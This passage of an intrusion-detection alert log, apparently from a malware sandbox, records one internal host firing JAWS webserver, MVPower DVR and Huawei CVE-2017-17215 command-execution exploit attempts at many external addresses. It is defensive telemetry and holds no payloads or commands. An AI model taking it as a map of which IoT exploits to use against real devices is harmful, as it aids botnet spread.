Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.132.215.44

Timestamp:	192.168.2.2338.132.215.4440936802030092 01/02/24-06:24:13.920460
SID:	2030092
Source Port:	40936
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.92.147.46

Timestamp:	192.168.2.23104.92.147.4650912802025883 01/02/24-06:24:41.035412
SID:	2025883
Source Port:	50912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.239.158.196

Timestamp:	192.168.2.2338.239.158.19649628802030092 01/02/24-06:24:03.470698
SID:	2030092
Source Port:	49628
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.120.69.49

Timestamp:	192.168.2.2364.120.69.4946098802030092 01/02/24-06:24:49.087899
SID:	2030092
Source Port:	46098
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.31.76.45

Timestamp:	192.168.2.2389.31.76.4547048802030092 01/02/24-06:24:08.904729
SID:	2030092
Source Port:	47048
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.68.208.136

Timestamp:	192.168.2.2352.68.208.13645118802025883 01/02/24-06:25:29.707548
SID:	2025883
Source Port:	45118
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 208.109.173.198

Timestamp:	192.168.2.23208.109.173.19843616802030092 01/02/24-06:25:34.668261
SID:	2030092
Source Port:	43616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 199.232.239.48

Timestamp:	192.168.2.23199.232.239.4846658802025883 01/02/24-06:24:23.868552
SID:	2025883
Source Port:	46658
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.238.204.210

Timestamp:	192.168.2.23202.238.204.21040470802030092 01/02/24-06:24:24.201458
SID:	2030092
Source Port:	40470
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.69.218.34

Timestamp:	192.168.2.23104.69.218.3453078802030092 01/02/24-06:24:30.590605
SID:	2030092
Source Port:	53078
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 44.237.111.253

Timestamp:	192.168.2.2344.237.111.25343424802025883 01/02/24-06:23:59.006301
SID:	2025883
Source Port:	43424
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.143.178.82

Timestamp:	192.168.2.23121.143.178.8245270802030092 01/02/24-06:25:22.173559
SID:	2030092
Source Port:	45270
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.98.133.46

Timestamp:	192.168.2.23172.98.133.4651318802030092 01/02/24-06:25:21.231178
SID:	2030092
Source Port:	51318
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 54.199.121.170

Timestamp:	192.168.2.2354.199.121.17058798802025883 01/02/24-06:24:19.269485
SID:	2025883
Source Port:	58798
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 117.20.101.125

Timestamp:	192.168.2.23117.20.101.12541464802025883 01/02/24-06:24:32.881657
SID:	2025883
Source Port:	41464
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 205.164.12.222

Timestamp:	192.168.2.23205.164.12.22246902802025883 01/02/24-06:24:20.042564
SID:	2025883
Source Port:	46902
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 43.139.38.175

Timestamp:	192.168.2.2343.139.38.17550990802025883 01/02/24-06:24:04.154188
SID:	2025883
Source Port:	50990
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.218.234.147

Timestamp:	192.168.2.2352.218.234.14751138802025883 01/02/24-06:25:02.194486
SID:	2025883
Source Port:	51138
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 83.148.198.44

Timestamp:	192.168.2.2383.148.198.4442066802025883 01/02/24-06:25:42.757624
SID:	2025883
Source Port:	42066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 157.245.212.163

Timestamp:	192.168.2.23157.245.212.16341682802025883 01/02/24-06:24:14.930071
SID:	2025883
Source Port:	41682
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.120.145.32

Timestamp:	192.168.2.2334.120.145.3256908802030092 01/02/24-06:25:06.732120
SID:	2030092
Source Port:	56908
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.204.125.106

Timestamp:	192.168.2.2323.204.125.10656446802030092 01/02/24-06:24:14.743069
SID:	2030092
Source Port:	56446
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 193.182.144.154

Timestamp:	192.168.2.23193.182.144.15439910802025883 01/02/24-06:25:31.359030
SID:	2025883
Source Port:	39910
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.26.2.239

Timestamp:	192.168.2.23184.26.2.23933266802030092 01/02/24-06:25:32.158283
SID:	2030092
Source Port:	33266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.155.199.105

Timestamp:	192.168.2.2318.155.199.10545054802030092 01/02/24-06:23:54.818570
SID:	2030092
Source Port:	45054
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 209.240.113.203

Timestamp:	192.168.2.23209.240.113.20338972802025883 01/02/24-06:25:25.193436
SID:	2025883
Source Port:	38972
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 184.85.178.236

Timestamp:	192.168.2.23184.85.178.23639722802025883 01/02/24-06:25:16.029669
SID:	2025883
Source Port:	39722
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 54.254.143.77

Timestamp:	192.168.2.2354.254.143.7760350802025883 01/02/24-06:23:58.484471
SID:	2025883
Source Port:	60350
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.126.126.81

Timestamp:	192.168.2.23104.126.126.8152802802030092 01/02/24-06:25:30.150804
SID:	2030092
Source Port:	52802
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.113.198.158

Timestamp:	192.168.2.23104.113.198.15836010802025883 01/02/24-06:24:24.210333
SID:	2025883
Source Port:	36010
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 188.166.210.139

Timestamp:	192.168.2.23188.166.210.13957904802025883 01/02/24-06:25:21.187951
SID:	2025883
Source Port:	57904
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 178.159.46.91

Timestamp:	192.168.2.23178.159.46.9149008802025883 01/02/24-06:25:39.173695
SID:	2025883
Source Port:	49008
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 183.111.183.230

Timestamp:	192.168.2.23183.111.183.23054570802030092 01/02/24-06:25:04.271400
SID:	2030092
Source Port:	54570
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.106.240.163

Timestamp:	192.168.2.2387.106.240.16348362802030092 01/02/24-06:25:18.777402
SID:	2030092
Source Port:	48362
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.19.103.220

Timestamp:	192.168.2.232.19.103.22048104802030092 01/02/24-06:25:04.208897
SID:	2030092
Source Port:	48104
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.154.143.217

Timestamp:	192.168.2.2318.154.143.21732888802025883 01/02/24-06:25:38.870167
SID:	2025883
Source Port:	32888
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.99.215.108

Timestamp:	192.168.2.23104.99.215.10858622802025883 01/02/24-06:24:54.969765
SID:	2025883
Source Port:	58622
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 77.40.58.23

Timestamp:	192.168.2.2377.40.58.2351878802025883 01/02/24-06:25:02.046176
SID:	2025883
Source Port:	51878
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.181.35.219

Timestamp:	192.168.2.2338.181.35.21934712802025883 01/02/24-06:24:09.179650
SID:	2025883
Source Port:	34712
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 57.180.216.73

Timestamp:	192.168.2.2357.180.216.7335048802025883 01/02/24-06:25:30.173193
SID:	2025883
Source Port:	35048
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 175.27.12.219

Timestamp:	192.168.2.23175.27.12.21960064802025883 01/02/24-06:25:32.237664
SID:	2025883
Source Port:	60064
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.0.84.34

Timestamp:	192.168.2.2341.0.84.3441028372152835222 01/02/24-06:24:06.080918
SID:	2835222
Source Port:	41028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 99.142.66.148

Timestamp:	192.168.2.2399.142.66.14860348802030092 01/02/24-06:25:29.576053
SID:	2030092
Source Port:	60348
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.17.176.11

Timestamp:	192.168.2.232.17.176.1145384802030092 01/02/24-06:25:15.290469
SID:	2030092
Source Port:	45384
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.222.136.166

Timestamp:	192.168.2.2323.222.136.16659240802025883 01/02/24-06:25:34.867652
SID:	2025883
Source Port:	59240
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.142.2.159

Timestamp:	192.168.2.2318.142.2.15938786802025883 01/02/24-06:24:24.307205
SID:	2025883
Source Port:	38786
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.57.209.45

Timestamp:	192.168.2.23103.57.209.4560092802030092 01/02/24-06:25:10.115853
SID:	2030092
Source Port:	60092
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 72.37.218.199

Timestamp:	192.168.2.2372.37.218.19948926802030092 01/02/24-06:24:05.713034
SID:	2030092
Source Port:	48926
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.87.227.164

Timestamp:	192.168.2.2354.87.227.16435480802030092 01/02/24-06:25:22.000530
SID:	2030092
Source Port:	35480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.101.163.107

Timestamp:	192.168.2.2346.101.163.10735924802030092 01/02/24-06:25:11.820546
SID:	2030092
Source Port:	35924
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 69.80.206.87

Timestamp:	192.168.2.2369.80.206.8755282802025883 01/02/24-06:24:19.154384
SID:	2025883
Source Port:	55282
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 58.152.149.5

Timestamp:	192.168.2.2358.152.149.559232802030092 01/02/24-06:24:41.116385
SID:	2030092
Source Port:	59232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.150.52.140

Timestamp:	192.168.2.2354.150.52.14052998802030092 01/02/24-06:24:24.012270
SID:	2030092
Source Port:	52998
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.39.16.68

Timestamp:	192.168.2.23103.39.16.6847170802030092 01/02/24-06:24:15.125482
SID:	2030092
Source Port:	47170
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 221.153.44.201

Timestamp:	192.168.2.23221.153.44.20137018802025883 01/02/24-06:25:09.681419
SID:	2025883
Source Port:	37018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.21.48.248

Timestamp:	192.168.2.232.21.48.24839876802030092 01/02/24-06:24:51.823067
SID:	2030092
Source Port:	39876
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.242.107.196

Timestamp:	192.168.2.2377.242.107.19653440802030092 01/02/24-06:25:25.327513
SID:	2030092
Source Port:	53440
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.83.91.41

Timestamp:	192.168.2.23104.83.91.4142372802030092 01/02/24-06:24:06.101527
SID:	2030092
Source Port:	42372
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.159.129.103

Timestamp:	192.168.2.23162.159.129.10357618802030092 01/02/24-06:24:03.166357
SID:	2030092
Source Port:	57618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 134.0.11.203

Timestamp:	192.168.2.23134.0.11.20345208802025883 01/02/24-06:24:03.999636
SID:	2025883
Source Port:	45208
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.80.89.17

Timestamp:	192.168.2.23104.80.89.1760656802025883 01/02/24-06:25:31.932213
SID:	2025883
Source Port:	60656
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.33.51.11

Timestamp:	192.168.2.2323.33.51.1137284802030092 01/02/24-06:25:10.230054
SID:	2030092
Source Port:	37284
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.48.76.91

Timestamp:	192.168.2.2323.48.76.9154442802030092 01/02/24-06:25:30.270726
SID:	2030092
Source Port:	54442
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.29.37.58

Timestamp:	192.168.2.2352.29.37.5835934802030092 01/02/24-06:25:21.265685
SID:	2030092
Source Port:	35934
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.138.221.224

Timestamp:	192.168.2.2351.138.221.22455554802030092 01/02/24-06:25:00.997015
SID:	2030092
Source Port:	55554
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 151.101.7.166

Timestamp:	192.168.2.23151.101.7.16645530802025883 01/02/24-06:23:49.491267
SID:	2025883
Source Port:	45530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.82.113.61

Timestamp:	192.168.2.23104.82.113.6149624802030092 01/02/24-06:23:55.139649
SID:	2030092
Source Port:	49624
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.19.229.176

Timestamp:	192.168.2.23104.19.229.17639714802025883 01/02/24-06:24:40.719393
SID:	2025883
Source Port:	39714
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 123.60.116.97

Timestamp:	192.168.2.23123.60.116.9758084802025883 01/02/24-06:24:45.347164
SID:	2025883
Source Port:	58084
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 74.48.45.146

Timestamp:	192.168.2.2374.48.45.14649620802025883 01/02/24-06:24:50.099124
SID:	2025883
Source Port:	49620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.239.48.115

Timestamp:	192.168.2.2313.239.48.11535360802030092 01/02/24-06:24:04.056293
SID:	2030092
Source Port:	35360
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.85.0.139

Timestamp:	192.168.2.23185.85.0.13949486802025883 01/02/24-06:24:38.209929
SID:	2025883
Source Port:	49486
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 108.186.100.209

Timestamp:	192.168.2.23108.186.100.20951226802025883 01/02/24-06:23:54.821481
SID:	2025883
Source Port:	51226
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.225.232.165

Timestamp:	192.168.2.2334.225.232.16551466802025883 01/02/24-06:24:15.088251
SID:	2025883
Source Port:	51466
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.70.251.23

Timestamp:	192.168.2.23157.70.251.2337718802030092 01/02/24-06:24:27.439650
SID:	2030092
Source Port:	37718
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.148.255.228

Timestamp:	192.168.2.23146.148.255.22835330802030092 01/02/24-06:25:03.972570
SID:	2030092
Source Port:	35330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 107.22.7.90

Timestamp:	192.168.2.23107.22.7.9054290802025883 01/02/24-06:25:15.619385
SID:	2025883
Source Port:	54290
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.8.215.90

Timestamp:	192.168.2.23194.8.215.9047106802030092 01/02/24-06:25:39.116051
SID:	2030092
Source Port:	47106
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.208.169.8

Timestamp:	192.168.2.2323.208.169.837612802030092 01/02/24-06:24:14.264263
SID:	2030092
Source Port:	37612
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.198.222.192

Timestamp:	192.168.2.2323.198.222.19256304802030092 01/02/24-06:24:18.028834
SID:	2030092
Source Port:	56304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 77.46.139.244

Timestamp:	192.168.2.2377.46.139.24443154802025883 01/02/24-06:25:02.038352
SID:	2025883
Source Port:	43154
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.148.36.42

Timestamp:	192.168.2.2345.148.36.4256504802030092 01/02/24-06:24:01.272066
SID:	2030092
Source Port:	56504
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.51.210.253

Timestamp:	192.168.2.2352.51.210.25354244802030092 01/02/24-06:25:26.161554
SID:	2030092
Source Port:	54244
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.227.73.85

Timestamp:	192.168.2.2313.227.73.8552698802030092 01/02/24-06:25:34.683145
SID:	2030092
Source Port:	52698
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 77.75.231.124

Timestamp:	192.168.2.2377.75.231.12448474802025883 01/02/24-06:23:59.226697
SID:	2025883
Source Port:	48474
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.66.79.133

Timestamp:	192.168.2.2345.66.79.13355714802030092 01/02/24-06:24:14.281778
SID:	2030092
Source Port:	55714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 111.87.115.153

Timestamp:	192.168.2.23111.87.115.15347612802025883 01/02/24-06:25:25.281636
SID:	2025883
Source Port:	47612
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 171.244.56.107

Timestamp:	192.168.2.23171.244.56.10744564802025883 01/02/24-06:24:03.532179
SID:	2025883
Source Port:	44564
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.18.64.54

Timestamp:	192.168.2.2334.18.64.5447396802025883 01/02/24-06:24:30.779179
SID:	2025883
Source Port:	47396
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 49.44.196.208

Timestamp:	192.168.2.2349.44.196.20855840802025883 01/02/24-06:24:41.307799
SID:	2025883
Source Port:	55840
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 209.235.140.224

Timestamp:	192.168.2.23209.235.140.22455632802025883 01/02/24-06:24:48.911367
SID:	2025883
Source Port:	55632
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.107.170.116

Timestamp:	192.168.2.2334.107.170.11651938802025883 01/02/24-06:24:04.121161
SID:	2025883
Source Port:	51938
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 35.183.139.129

Timestamp:	192.168.2.2335.183.139.12937922802025883 01/02/24-06:25:29.610631
SID:	2025883
Source Port:	37922
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.218.15.43

Timestamp:	192.168.2.2323.218.15.4344830802030092 01/02/24-06:24:34.799253
SID:	2030092
Source Port:	44830
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.213.63.230

Timestamp:	192.168.2.23154.213.63.23060686802025883 01/02/24-06:24:37.365549
SID:	2025883
Source Port:	60686
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 73.116.187.145

Timestamp:	192.168.2.2373.116.187.14544290802030092 01/02/24-06:24:46.089608
SID:	2030092
Source Port:	44290
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.46.166.188

Timestamp:	192.168.2.23154.46.166.18836382802030092 01/02/24-06:24:10.948725
SID:	2030092
Source Port:	36382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.22.55.129

Timestamp:	192.168.2.2366.22.55.12933832802030092 01/02/24-06:23:51.506025
SID:	2030092
Source Port:	33832
Destination Port:	80
